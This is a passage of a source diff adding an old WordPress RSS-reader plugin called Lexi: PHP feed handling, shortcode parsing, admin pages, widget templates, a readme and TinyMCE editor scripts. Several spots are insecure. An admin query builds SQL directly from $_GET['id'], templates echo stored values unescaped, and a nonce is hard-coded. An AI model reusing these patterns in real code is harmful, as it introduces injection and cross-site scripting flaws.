+      if(!$id || $id==$feed->id) {
+        $answer.= lexi_postRss($feed->rss,$feed->name,$feed->items,$conf);
+      }
+    }
+  } else {
+    $answer.= "<div id='lexi'><label>";
+    $answer.= sprintf(__('You have to install <a href="%s"  target="_BLANK">minimax 0.2</a> in order for this plugin to work', 'lexi'), "http://wordpress.org/extend/plugins/minimax/" );
+    $answer.= "</label></div>";
+  }
+  return $answer;
+}
+
+
+/**
+  * Filter to manage contents. Check for [lexi] tags.
+  *
+  * @access public
+  */
+function lexi_content($content)
+{
+  //Lexi
+  $search = "@(?:<p>)*\s*\[lexi\s*(:\s*\d+)?\]\s*(?:</p>)*@i";
+  if  (preg_match_all($search, $content, $matches))
+  {
+    if (is_array($matches))
+    {
+      foreach ($matches[1] as $key =>$v0)
+      {
+        $v1=$matches[1][$key];
+        $id=false;
+        if($v1) {
+          $v1=substr($v1,1);
+          $id=$v1*1;
+        }
+
+        $search = $matches[0][$key];
+        $replace=lexi_postId($id);
+        $content = str_replace ($search, $replace, $content);
+      }
+    }
+  }
+
+  //RSS
+  $search = "@(?:<p>)*\s*\[lexi\s*:([^,]+),(\d+),(true|false),(true|false)?\]\s*(?:</p>)*@i";
+  if  (preg_match_all($search, $content, $matches))
+  {
+    if (is_array($matches))
+    {
+      foreach ($matches[1] as $key =>$rss)
+      {
+        $items=$matches[2][$key];
+        $sc=$matches[3][$key];
+        if($sc=='true') $sc=1; else $sc=0;
+        $cache=$matches[4][$key];
+        if($cache=='true') $cache=1; else $cache=0;
+
+				$conf = CONF_SHOWHEADER + CONF_TARGETBLANK;
+				if($sc) $conf += CONF_SHOWCONTENT;
+				if($cache) $conf += CONF_CACHE;
+
+        $search = $matches[0][$key];
+        $replace=lexi_postRss($rss,"",$items,$conf);
+        $content = str_replace ($search, $replace, $content);
+      }
+    }
+  }
+
+	//Lexi 2 w/ title
+	$search = "@(?:<p>)*\s*\[lexi\s*:(\d+),([^,]+),([^,]+),(\d+)?\]\s*(?:</p>)*@i";
+  if  (preg_match_all($search, $content, $matches))
+  {
+    if (is_array($matches))
+    {
+      foreach ($matches[1] as $key =>$conf)
+      {
+        $rss=$matches[2][$key];
+        $title=$matches[3][$key];
+        $items=$matches[4][$key];
+
+        $search = $matches[0][$key];
+        $replace=lexi_postRss($rss, $title, $items, $conf);
+        $content = str_replace ($search, $replace, $content);
+      }
+    }
+  }
+
+	//Lexi 2 w/out title
+	$search = "@(?:<p>)*\s*\[lexi\s*:(\d+),([^,]+),(\d+)?\]\s*(?:</p>)*@i";
+  if  (preg_match_all($search, $content, $matches))
+  {
+    if (is_array($matches))
+    {
+      foreach ($matches[1] as $key =>$conf)
+      {
+        $url=$matches[2][$key];        
+        $items=$matches[3][$key];
+
+        $search = $matches[0][$key];
+        $replace=lexi_postRss($rss, "", $items, $conf);
+        $content = str_replace ($search, $replace, $content);
+      }
+    }
+  }
+
+  return $content;
+}
+
+  
+/**
+  * Function to be called in templates. Returns the html code
+  * with 'minimax' script and div. Add this function into the html
+  * page to create the RSS reader.
+  * If the id is numeric, the function returns the code for the
+  * corresponding feed in the lexi list, and forget the other
+  * parameters. If its a string, the function would use it as the URL,
+  * and would use the other parameters.
+  * If you call the function without parameters, it returns the code
+  * for the entire lexi list.
+  *
+  * @param string id Would be the URL or the lexi id. See function description.
+  * @param string num Max number of feeds to show
+  * @param string sc Show feed contents?
+  * @param string cached Save feeds in cache?
+  * @access public
+  */
+  function lexi($id=0, $num=0, $sc=false, $cached=false, $sh=true) {
+    if(is_numeric($id)) {
+      echo lexi_postId($id);
+    } else {
+      echo lexi_postRss($id, "", $num, $sc, $cached, $sh);
+    }
+  }
+
+/**
+  * Function to be called in templates. Returns the html code
+  * with 'minimax' script and div. Add this function into the html
+  * page to create the RSS reader.
+  * If the id is numeric, the function returns the code for the
+  * corresponding feed in the lexi list, and forget the other
+  * parameters. If its a string, the function would use it as the URL,
+  * and would use the other parameters.
+  * If you call the function without parameters, it returns the code
+  * for the entire lexi list.
+  *
+  * @param string id Would be the URL or the lexi id. See function description.
+  * @param string num Max number of feeds to show
+  * @param string sc Show feed contents?
+  * @param string cached Save feeds in cache?
+  * @access public
+  */
+  function lexiRSS($conf, $rss, $title, $max_items) {
+    if(!$title) $title="";
+    echo lexi_postRss($rss, $title, $max_items, $conf); 
+  }
+
+
+/**
+  * Returns the HTML list for an RSS feed.
+  *
+  * @param string link The URL of the rss.
+  * @param string name Name to be shown at the top of the list. If empty would use
+  * the name in the rss.
+  * @param string num Max number of feeds to show.
+  * @param string sc Show feed contents?
+  * @param string cached Save feeds in cache?
+  * @return string
+  * @access public
+  */
+function lexi_readfeed($link, $name, $num, $config) {
+  include_once(ABSPATH . WPINC . '/rss.php');
+	@include_once(ABSPATH . WPINC . '/class-simplepie.php');
+	
+	$name=str_replace("\\\"","\"",$name);
+
+	if(($config & CONF_TARGETBLANK)) {
+		$target = " target='_blank'";
+	}
+	
+	if(class_exists('SimplePie')) {
+		$rss = new SimplePie($link);
+
+		if(!($config & CONF_CACHE)) {
+			$rss->enable_cache(false);
+			$rss->init();
+		}
+		
+		$channel_link = $rss->get_permalink();
+		if($name=="") {
+			$name=htmlspecialchars($rss->get_title());
+		}
+		
+		$items = $rss->get_items(0, $num);
+		
+		if($items) {
+			foreach ($items as $item) {
+				$answer.="<li><a class='rsswidget' href='".htmlspecialchars($item->get_permalink())."'".$target.">".$item->get_title()."</a>";
+				if($config & CONF_SHOWCONTENT) $answer.="<br/>".$item->get_content();
+				$answer.="</li>";
+			}
+		}
+		
+	} else {
+		$aux_cached = MAGPIE_CACHE_ON;
+		if(!($config & CONF_CACHE)) {
+			define('MAGPIE_CACHE_ON', 0);
+		}
+		$rss = fetch_rss($link);
+		define('MAGPIE_CACHE_ON', $aux_cached);
+		$channel_link=htmlspecialchars($rss->channel['link']);
+		if($name=="") {
+			$name=htmlspecialchars($rss->channel['title']);
+		}
+
+		if($rss->items) {
+			foreach (array_slice($rss->items, 0, $num) as $item) {
+				$answer.="<li><a class='rsswidget' href='".htmlspecialchars($item['link'])."'".$target.">".$item['title']."</a>";
+				if($config & CONF_SHOWCONTENT) $answer.="<br/>".$item['atom_content'].$item['summary'];
+				$answer.="</li>";
+			}
+		}
+	}
+	
+  $header="";
+	if($config & CONF_SHOWHEADER) {
+		$header = "<h2 class='widgettitle'><a class='rsswidget' href='$link' title='" . __('Subscribe' , 'lexi')."'><img class='lexi' src='".get_bloginfo('wpurl')."/wp-includes/images/rss.png' alt='RSS' border='0' /></a> <a class='rsswidget' href='$channel_link' title='$name'>$name</a></h2>";
+	}
+  return "$header<ul>$answer</ul>";
+}
+
+
+/**
+  * Enable menu to manage Feeds.
+  *
+  * @access public
+  */
+
+function lexi_manage()
+{
+  add_management_page('Lexi', 'Lexi', 10, 'leximanage', 'lexi_manage_page');
+}
+
+
+/**
+  * Page to manage feeds.
+  *
+  * @access public
+  */
+
+function lexi_manage_page()
+{
+  global $wpdb;
+  
+  $table_name = $wpdb->prefix . "lexi";
+  $messages=array();
+  
+  if(!function_exists('minimax')) {
+    array_push($messages, sprintf(__('You have to install <a href="%s"  target="_BLANK">minimax 0.2</a> in order for this plugin to work', 'lexi'), "http://wordpress.org/extend/plugins/minimax/" ));
+  }
+
+  $mode_x=$_POST['mode_x']; // Something from POST
+  $mode=$_GET['mode']; // Something from GET?
+  
+  //if pressed addfeed, mode must be add feed
+  if($_POST['addfeed']) {
+    $mode='add';
+    $mode_x='done';
+  }
+  
+  $doaction=false;
+  if($_POST['doaction']!="") $doaction=$_POST['action'];
+  if($_POST['doaction2']!="") $doaction=$_POST['action2'];
+  if($doaction)
+  {
+    switch($doaction)
+    {
+      case 'delete':
+        foreach($_POST['checked_feeds'] as $checked_id) {
+          lexi_deletefeed($checked_id);
+        }
+        break;
+    }
+  }
+  
+  switch($mode_x) {
+    case 'manage_x':
+      $mode='done';
+      break;
+    case 'add_x':
+      $mode='done';
+      if($_POST['submit']) {
+        $name=$_POST['lexi_name'];
+        $rss=$_POST['lexi_rss'];
+        $items=$_POST['lexi_items'];
+        $showcontent=false;
+        if($_POST['lexi_showcontent']=='on') {
+          $showcontent=true;
+        }
+        $cached=false;
+        if($_POST['lexi_cached']=='on') {
+          $cached=true;
+        }
+        lexi_addfeed($name, $rss, $items, $showcontent, $cached);
+        array_push($messages, __( 'Feed added', 'lexi' ));
+      }
+      break;
+    case 'edit_x':
+      $mode='done';
+      if($_POST['submit']) {
+        $id=$_POST['lexi_id'];
+        $name=$_POST['lexi_name'];
+        $rss=$_POST['lexi_rss'];
+        $items=$_POST['lexi_items'];
+        $showcontent=false;
+        if($_POST['lexi_showcontent']=='on') {
+          $showcontent=true;
+        }
+        $cached=false;
+        if($_POST['lexi_cached']=='on') {
+          $cached=true;
+        }
+        lexi_editfeed($id, $name, $rss, $items, $showcontent, $cached);
+        array_push($messages, __( 'Feed modified', 'lexi' ));
+      }
+      break;
+  }
+  
+  switch($mode) {
+    case 'add':
+      include('templates/lexi_feed.php');
+      break;
+    case 'edit':
+      check_admin_referer('lexi_editfeed');
+      $id=$_GET['id'];
+      $table_name = $wpdb->prefix . "lexi";
+      $data = $wpdb->get_row("select name, rss, items, showcontent, cached from $table_name where id=$id");
+      $name=$data->name;
+      $rss=$data->rss;
+      $items=$data->items;
+      $cached=$data->cached;
+      $showcontent=$data->showcontent;
+      include('templates/lexi_feed.php');
+      break;
+    case 'up':
+      check_admin_referer('lexi_upfeed');
+      $id=$_GET['id'];
+      if(lexi_upfeed($id)) {
+        array_push($messages, __("Feed moved", 'lexi'));
+      }
+      break;
+    case 'down':
+      check_admin_referer('lexi_downfeed');
+      $id=$_GET['id'];
+      if(lexi_downfeed($id)) {
+        array_push($messages, __("Feed moved", 'lexi'));
+      }
+      break;
+    case 'delete':
+      check_admin_referer('lexi_deletefeed');
+      $id=$_GET['id'];
+      if(lexi_deletefeed($id)) {
+        array_push($messages, __("Feed deleted", 'lexi'));
+      }
+      break;
+  }
+  
+  if($mode!='edit' && $mode!='add')
+  {
+    // Now display the manage screen
+    include('templates/lexi_manage.php');
+  }
+}
+
+/**
+  * Enable buttons in tinymce.
+  *
+  * @access public
+  */
+  
+function lexi_addbuttons() {
+   // Don't bother doing this stuff if the current user lacks permissions
+      if ( !current_user_can('edit_posts') && !current_user_can('edit_pages') ) return;
+
+   // Add only in Rich Editor mode
+        if ( get_user_option('rich_editing') == 'true') {
+
+      // add the button for wp21 in a new way
+         add_filter('mce_external_plugins',  'add_lexi_script');
+         add_filter('mce_buttons',  'add_lexi_button');
+      }
+}
+
+
+/**
+  * Enable buttons in tinymce.
+  *
+  * @access public
+  */
+
+function add_lexi_button($buttons) {
+
+   array_push($buttons, 'Lexi');
+   return $buttons;
+
+}
+
+/**
+  * Enable buttons in tinymce.
+  *
+  * @access public
+  */
+
+function add_lexi_script($plugins) {
+   $dir_name = '/wp-content/plugins/lexi';
+   $url=get_bloginfo('wpurl');
+   $pluginURL =  $url.$dir_name.'/tinymce/editor_plugin.js';
+   $plugins['Lexi'] = $pluginURL;
+   return $plugins;
+}
+
+
+/**
+  * Lexi widget stuff.
+  *
+  * @access public
+  */
+  
+function lexi_widget_init() {
+
+  if ( !function_exists('register_sidebar_widget') ) {
+    return;
+  }
+
+  function lexi_widget($args) {
+
+    global $wpdb;
+  
+    // $args is an array of strings that help widgets to conform to
+    // the active theme: before_widget, before_title, after_widget,
+    // and after_title are the array keys. Default tags: li and h2.
+    extract($args);
+
+    //$table_name = $wpdb->prefix . "lexi";
+    //$feedlist = $wpdb->get_results("SELECT id FROM $table_name ORDER BY position ASC");
+		
+		$options = get_option('widget_lexi');
+		$title = $options['title'];
+		$show_feed_title = $options['show_feed_title'];
+  
+    // These lines generate our output. Widgets can be very complex
+    // but as you can see here, they can also be very, very simple.
+    echo $before_widget;
+		if(strlen($title)>0) {
+			echo $before_title . $title . $after_title;
+		}
+    lexi(-1);
+    echo $after_widget;
+  }
+	
+	// This is the function that outputs the form to let the users edit
+	// the widget's title. It's an optional feature that users cry for.
+	function lexi_widget_control() {
+	
+		// Get our options and see if we're handling a form submission.
+		$options = get_option('widget_lexi');
+		if ( !is_array($options) )
+			$options = array('title'=>'', 'show_feed_title'=>1);
+		if ( $_POST['lexi-submit'] ) {
+			// Remember to sanitize and format use input appropriately.
+			$options['title'] = strip_tags(stripslashes($_POST['lexi_title']));
+			if($_POST['showfeedtitle']=='on')
+				$options['show_feed_title'] = true; 
+			else 
+				$options['show_feed_title'] = false;
+			update_option('widget_lexi', $options); 
+		}
+
+		// Be sure you format your options to be valid HTML attributes.
+		$title = htmlspecialchars($options['title'], ENT_QUOTES);
+		$show_feed_title = $options['show_feed_title'];
+
+ 
+		// Here is our little form segment. Notice that we don't need a
+		// complete form. This will be embedded into the existing form.
+		require('templates/lexi_widget.php');
+	}
+  
+	// This registers our widget so it appears with the other available
+	// widgets and can be dragged and dropped into any active sidebars.
+	register_sidebar_widget(array('Lexi RSS Widget', 'widgets'), 'lexi_widget');
+	
+	// This registers our optional widget control form. Because of this
+	// our widget will have a button that reveals a 300x100 pixel form.
+	register_widget_control(array('Lexi RSS Widget', 'widgets'), 'lexi_widget_control');
+
+}
+
+// Run our code later in case this loads prior to any required plugins.
+add_action('widgets_init', 'lexi_widget_init');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/readme.txt	(revision 44)
@@ -0,0 +1,74 @@
+=== Lexi ===
+Contributors: sebaxtian
+Tags: rss
+Requires at least: 2.4
+Tested up to: 2.7.1
+Stable tag: 0.7.95
+
+An RSS reader that can be placed in pages, posts and sidebar, using ajax to show contents after the site has been loaded.
+
+== Description ==
+
+Sometimes an RSS feed has a low bandwidth and during the page creation Wordpress has to wait after those RSS feeds has been downloaded. This plugin allow the site to read the RSS _after_ the page was created, not _during_ the process.
+
+To modify or delete the list of RSS feeds go to Tools -> Lexi.
+
+You can add the Lexi widget to show the list, but you can also use the tag `[lexi]` in a page, or the function `lexi()` in a template.
+
+To show just one item from the list, use `[lexi:id]` or `lexi(id)`.
+
+To show a Feed that hasn't been declared in the list, use `[lexi: configuration, rss, title, max_items]` or `lexiRSS($configuration, $rss, $title, $max_items)`. The configuration number can be calculated as follow:
+
+Add 1 if you want to save it in cache.
+Add 2 if you want to show the contents.
+Add 4 if you want to show the title.
+Add 8 if you want to open it in a new page.
+
+If you want to use the title given by the RSS, use `[lexi: configuration, rss, max_items]` or `lexiRSS($configuration, $rss, false, $max_items)`.
+
+There is a button in the RichText editor created by the plugin to add a Feed.
+
+This plugin requires __[minimax](http://wordpress.org/extend/plugins/minimax/ "A minimal Ajax library")__ in order to work. 
+
+Lexi detects if your site has the __[SimplePie](http://simplepie.org/ "SimplePie: Super-fast, easy-to-use, RSS and Atom feed parsing in PHP.")__ library enabled. Since Wordpress 2.8 comes with it by default you don't need to activate anithing, but in earlier versions you have to install the __[SimplePieCore Plugin](http://wordpress.org/extend/plugins/simplepie-core/ "Does little else but load the core SimplePie API library for any extension that wants to utilize it.")__ to use it instead MagpieRSS. I recomend to use SimplePie. Remember to uninstall SimplePieCore if you are using Worpress 2.8 or any latter version.
+
+Screenshots are in spanish because it's my native language. As you should know yet I __spe'k__ english, and the plugin use it by default.
+
+== Installation ==
+
+1. Install __[minimax](http://wordpress.org/extend/plugins/minimax/ "A minimal Ajax library")__.
+2. Decompress lexi.zip and upload `/lexi/` to the `/wp-content/plugins/` directory.
+3. Activate the plugin through the __Plugins__ menu in WordPress
+4. Add the Lexi widget into your side bar, or add [lexi] into your posts, or use `lexi()` into your templates.
+5. Use Tools -> Lexi to add, modify or delete your RSS feeds list.
+
+== Frequently Asked Questions ==
+
+= Other RSS reader! How do you dare? =
+
+My page (I don't know if yours too) use to get blocked reading some RSS feeds. I created Lexi to read the RSS _after_ the page was created, not during the process.
+
+= Lexi shows strange characters with some feeds =
+
+Lexi encodes the feed list in UTF-8. If your site uses another character encoding you can change `wp-content/plugins/lexi/lexi.php`, but I suggest you to use UTF-8.
+If your site is in UTF-8, uses WP 2.7.x or an older release, and the problem persists, install __[SimplePieCore Plugin](http://wordpress.org/extend/plugins/simplepie-core/ "Does little else but load the core SimplePie API library for any extension that wants to utilize it.")__.
+
+= There is a cached RSS that doesn't show anything =
+
+Yes, I noticed too. It happens with some feeds the first time they are readed, but ten minutes later they work! I think the problem is in `fetch_rss($url)`, the WordPress function Lexi uses to save cached Feeds. I'll try to fix it in a future version.
+
+= It says something about a write problem in cache =
+
+Sure you are using SimplePie. Check you have write permission in `wp-content/plugins/lexi/cache`.
+
+= It say something about minimax. What's this? =
+
+This plugin requires __[minimax](http://wordpress.org/extend/plugins/minimax/ "A minimal Ajax library")__ in order to work.
+
+== Screenshots ==
+
+1. Feeds administrator.
+2. Feed editor.
+3. Lexi widget.
+4. Box to add a Lexi feed.
+5. Box to add an RSS feed.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_feed.php	(revision 44)
@@ -0,0 +1,62 @@
+<div class="wrap">
+	<form name="form1" method="post" action="<?php echo remove_query_arg(array('mode', 'id')); ?>">
+		<input type="hidden" name="mode_x" value="<?php if($mode=='add') echo "add_x"; else echo "edit_x"; ?>" />
+		<input type="hidden" name="lexi_id" value="<?php echo $id; ?>" />
+		<div id="icon-tools" class="icon32"><br /></div>
+		<h2><?php if($mode=='add') _e( 'Add Feed', 'lexi' ); if($mode=='edit') _e( 'Edit Feed', 'lexi' );?></h2>
+		<div id="poststuff" class="metabox-holder">
+			<div id="post-body" class="has-sidebar">
+				<div id="post-body-content" class="has-sidebar-content">
+					<div id="namediv" class="stuffbox">
+						<h3><label for="name"><?php _e('RSS', 'lexi'); ?></label></h3>
+						<div class="inside">
+							<div class="submitbox" id="submitcomment">
+								<table>
+									<tr>
+										<td width="20%"><?php _e("Name", 'lexi' ); ?>:</td>
+										<td colspan=2><input type="text" name="lexi_name" value="<?php echo $name; ?>" /></td>
+									</tr>
+									<tr>
+										<td><?php _e("RSS", 'lexi' ); ?>:</td>
+										<td colspan=2><input type="text" name="lexi_rss" value="<?php echo $rss; ?>" /></td>
+									</tr>
+									<tr>
+										<td><?php _e("Items", 'lexi' ); ?>:</td>
+										<td colspan=2>
+											<select name="lexi_items"><?php 
+													for($i=1; $i<11; $i++) {
+														echo "<option value=\"$i\"";
+														if ($items == $i) echo(' selected'); 
+															echo ">$i</option>";
+													} ?>
+											</select>
+										</td>
+									</tr>
+									<tr>
+										<td><?php _e("Show contents", 'lexi' ); ?>:</td>
+										<td width="5%"><input type="checkbox" name="lexi_showcontent" <?php if($showcontent) echo "checked"; ?>/></td>
+										<td></td>
+									</tr>
+									<tr>
+										<td><?php _e("Save cache", 'lexi' ); ?>:</td>
+										<td><input type="checkbox" name="lexi_cached" <?php if($cached || !$id) echo "checked"; ?>/></td>
+										<td><?php _e('Uncheck this option only in case the feed updates several times in an hour.','lexi'); ?></td>
+									</tr>
+								</table>
+							</div>
+						</div>
+						<div id="major-publishing-actions">
+							<div id="delete-action">
+								<input type="submit" name="cancel" value="<?php _e( 'Cancel', 'lexi' );?>" class="button-primary" />
+							</div>
+							<div id="publishing-action" style="margin-right:18px;">
+								<input type="submit" name="submit" value="<?php if($mode=='add') _e( 'Add', 'lexi' ); if($mode=='edit') _e( 'Modify', 'lexi' );?>" class="button-primary" />
+							</div>
+							<div class="clear"></div>
+						</div>
+					</div>
+				</div>
+			</div>
+		</div>
+	</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_manage.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_manage.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_manage.php	(revision 44)
@@ -0,0 +1,85 @@
+<?php
+	global $wp_query;
+
+	//Actions messages
+	if(count($messages)>0) {
+		echo "<div class='updated'>";
+		foreach($messages as $message) {
+			echo "<p><strong>$message</strong></p>";
+		}
+		echo "</div>";
+	}
+	
+	//if pressed deletespam, delete all spam
+	if($_POST['deletespam']) {
+		sk_deleteSpam();
+	}
+	
+?>
+<div class="wrap">
+	<div id="icon-tools" class="icon32"><br /></div>
+	<h2><?php _e( 'Lexi', 'lexi' ); ?></h2>
+	<form name="form1" method="post" action="<?php echo add_query_arg(array('mode'=>'', 'text'=>$text)); ?>"><?
+		$feedlist = $wpdb->get_results("SELECT * FROM $table_name ORDER BY position ASC");
+		$max_position = $wpdb->get_var("SELECT MAX(position) FROM $table_name");
+		$count=count($feedlist);
+		if($count==0) { ?>
+		<div class="clear"></div>
+		<p><?php _e('No feeds found', 'lexi') ?> <input type="submit" value="<?php _e( 'Add Feed', 'lexi' ); ?>" class="button" name="addfeed" /></p><?php 
+		} else { ?>
+		<div class="tablenav">
+			<div class="alignleft actions">
+				<select name="action">
+					<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+					<option value="delete"><?php _e('Delete'); ?></option>
+				</select>
+				<input type="submit" name="doaction" id="doaction" value="<?php _e('Apply'); ?>" class="button-secondary apply" />
+				<input type="hidden" id="_wpnonce" name="_wpnonce" value="c70ddc4ef7" /><input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/edit-feeds.php" />
+				<input type="submit" value="<?php _e( 'Add Feed', 'lexi' ); ?>" class="button" name="addfeed" />
+			</div>
+			<br class="clear" />
+		</div>
+		<div class="clear"></div>
+		<table class="widefat feeds fixed" cellspacing="0">
+			<thead>
+				<tr>
+					<th scope="col" id="cb" class="manage-column column-cb check-column" style=""><input type="checkbox" /></th>
+					<th scope="col" width="90%" style=""><?php _e( 'Feed' , 'lexi'); ?></th>
+					<th scope="col" width="80px" style=""><div align="center"><?php _e( 'Show contents' , 'lexi'); ?></div></th>
+					<th scope="col" width="80px" style=""><div align="center"><?php _e( 'Save cache' , 'lexi'); ?></div></th>
+				</tr>
+			</thead>
+			<tbody id="the-feed-list" class="list:feed"><?
+				foreach($feedlist as $feed) { ?>
+				<tr id='feed-<?php echo $feed->id; ?>'>
+					<th scope="row" class="check-column"><input type='checkbox' name='checked_feeds[]' value='<?php echo $feed->id; ?>' /></th>
+					<td>
+						<strong><?php echo $feed->name." (".$feed->items.")"; ?></strong><br /><?php echo $feed->ip; ?>
+						<div class="row-actions">
+							<span><a href="<?php echo wp_nonce_url(add_query_arg( array('mode' => 'edit', 'id' => $feed->id) ), 'lexi_editfeed')?>" class='edit'><?php _e('Edit', 'lexi') ?></a></span>
+							<span class='delete'> | <a href="<?php echo wp_nonce_url(add_query_arg( array('mode' => 'delete', 'id' => $feed->id) ), 'lexi_deletefeed')?>" class="delete" onclick="javascript:check=confirm( '<?php _e("Delete this Feed?",'lexi')?>');if(check==false) return false;"><?php _e('Delete', 'lexi') ?></a></span>
+							<span class='edit'><?php if($feed->position!=1) {?> | <a href="<?php echo wp_nonce_url(add_query_arg( array('mode' => 'up', 'id' => $feed->id) ), 'lexi_upfeed')?>" class='edit'> <?php echo "<img src='../wp-content/plugins/lexi/img/up.png' border='0'>"; ?></a><?php } ?></span>
+							<span class='edit'><?php if($feed->position!==$max_position) { ?> | <a href="<?php echo wp_nonce_url(add_query_arg( array('mode' => 'down', 'id' => $feed->id) ), 'lexi_downfeed')?>" class='edit'> <?php echo "<img src='../wp-content/plugins/lexi/img/down.png' border='0'>"; ?></a><?php } ?></span>
+						</div>
+					</td>
+					<td class="feed column-feed"><div align="center"><?php if($feed->showcontent) echo "<img src='../wp-content/plugins/lexi/img/yes.png'>"; else echo "<img src='../wp-content/plugins/lexi/img/no.png'>";?></div></td>
+					<td><div align="center"><?php if($feed->cached) echo "<img src='../wp-content/plugins/lexi/img/yes.png'>"; else echo "<img src='../wp-content/plugins/lexi/img/no.png'>";?></div></td>
+				</tr><?php 
+					} ?>
+			</tbody>
+		</table>
+		<div class="tablenav">
+			<div class="alignleft actions">
+				<select name="action2">
+					<option value="-1" selected="selected"><?php _e('Bulk Actions'); ?></option>
+					<option value="delete"><?php _e('Delete'); ?></option>
+				</select>
+				<input type="submit" name="doaction2" id="doaction2" value="<?php _e('Apply'); ?>" class="button-secondary apply" />
+				<input type="hidden" id="_wpnonce" name="_wpnonce" value="c70ddc4ef7" /><input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/edit-feeds.php" />
+				<input type="submit" value="<?php _e( 'Add Feed', 'lexi' ); ?>" class="button" name="addfeed" />
+			</div>
+			<br class="clear" />
+		</div><?php 
+			} ?>
+	</form>
+</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/templates/lexi_widget.php	(revision 44)
@@ -0,0 +1,25 @@
+<p>
+	<label for="lexi_title">
+		<?php _e('Title', 'lexi'); ?>:
+		<input class="widefat" id="lexi_title" name="lexi_title" type="text" value="<?php echo $title; ?>" />
+	</label>
+</p>
+<p>
+	<label for="lexi_showtitle">
+		<input type="checkbox" id="showfeedtitle" name="showfeedtitle"<?php if($show_feed_title) echo " checked"; ?>/> <?php _e('Show feed title', 'lexi'); ?>
+	</label>
+</p>
+<p>
+	<label>
+		<?php printf(__('You can <a href="%s">modify</a> the feeds list in <strong>Tools/Lexi</strong>', 'lexi'), "tools.php?page=leximanage"); ?>
+	</label>
+</p>
+<?php
+if(!function_exists('minimax')) { ?>
+<p>
+	<label>
+		<?php printf(__('You have to install <a href="%s"  target="_BLANK">minimax 0.2</a> in order for this plugin to work', 'lexi'), "http://wordpress.org/extend/plugins/minimax/" ); ?>
+	</label>
+</p><?
+} ?>
+<input type="hidden" id="lexi-submit" name="lexi-submit" value="1" />
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/editor_plugin.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/editor_plugin.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/editor_plugin.js	(revision 44)
@@ -0,0 +1,77 @@
+//
+
+(function() {
+        // Load plugin specific language pack
+//    tinymce.PluginManager.requireLangPack('Lexi');
+
+   tinymce.create('tinymce.plugins.LexiPlugin', {
+                /**
+      * Initializes the plugin, this will be executed after the plugin has been created.
+      * This call is done before the editor instance has finished it's initialization so use the onInit event
+      * of the editor instance to intercept that event.
+      *
+      * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in.
+      * @param {string} url Absolute URL to where the plugin is located.
+                */
+      init : function(ed, url) {
+                        // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceLexi');
+         ed.addCommand('mceLexi', function() {
+            ed.windowManager.open({
+               file : url + '/mce_lexi.php',
+               width : 380 + ed.getLang('Lexi.delta_width', 0),
+               height : 310 + ed.getLang('Lexi.delta_height', 0),
+               inline : 1
+            }, {
+                  plugin_url : url, // Plugin absolute URL
+                  some_custom_arg : 'custom arg' // Custom argument
+            });
+         });
+         
+
+                        // Register Lexi button
+         ed.addButton('Lexi', {
+            title : 'Lexi.desc',
+            cmd : 'mceLexi',
+            image : url + '/lexi.gif'
+         });
+
+                        // Add a node change handler, selects the button in the UI when a image is selected
+         ed.onNodeChange.add(function(ed, cm, n) {
+            cm.setActive('Lexi', n.nodeName == 'IMG');
+         });
+      },
+
+                /**
+      * Creates control instances based in the incomming name. This method is normally not
+      * needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons
+      * but you sometimes need to create more complex controls like listboxes, split buttons etc then this
+      * method can be used to create those.
+      *
+      * @param {String} n Name of the control to create.
+      * @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.
+      * @return {tinymce.ui.Control} New control instance or null if no control was created.
+                */
+      createControl : function(n, cm) {
+         return null;
+      },
+
+                /**
+      * Returns information about the plugin as a name/value array.
+      * The current keys are longname, author, authorurl, infourl and version.
+      *
+      * @return {Object} Name/value array containing information about the plugin.
+                */
+      getInfo : function() {
+         return {
+            longname : 'Lexi plugin',
+            author : 'Juan SebastiÃ¡n Echeverry',
+            authorurl : 'http://www.sebaxtian.com',
+            infourl : 'http://www.sebaxtian.com/acerca-de/Lexi',
+            version : "1.0"
+         };
+      }
+   });
+
+        // Register plugin
+   tinymce.PluginManager.add('Lexi', tinymce.plugins.LexiPlugin);
+})();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/lexi.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/lexi.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/lexi/tinymce/lexi.js	(revision 44)
@@ -0,0 +1,57 @@
+function init() {
+	tinyMCEPopup.resizeToInnerSize();
+}
+
+function getCheckedValue(radioObj) {
+	if(!radioObj)
+		return "";
+	var radioLength = radioObj.length;
+	if(radioLength == undefined)
+		if(radioObj.checked)
+			return radioObj.value;
+		else
+			return "";
+	for(var i = 0; i < radioLength; i++) {
+		if(radioObj[i].checked) {
+			return radioObj[i].value;
+		}
+	}
+	return "";
+}
+
+
+function insertLexiLink() {
+	
+	var tagtext;
+  var add_text = false;
+	
+  var rss = document.getElementById('rss_panel');
+	
+	// who is active ?
+  if (rss.className.indexOf('current') != -1) {
+    var rsslink = document.getElementById('rsslink').value;
+    var items = document.getElementById('rssitems')
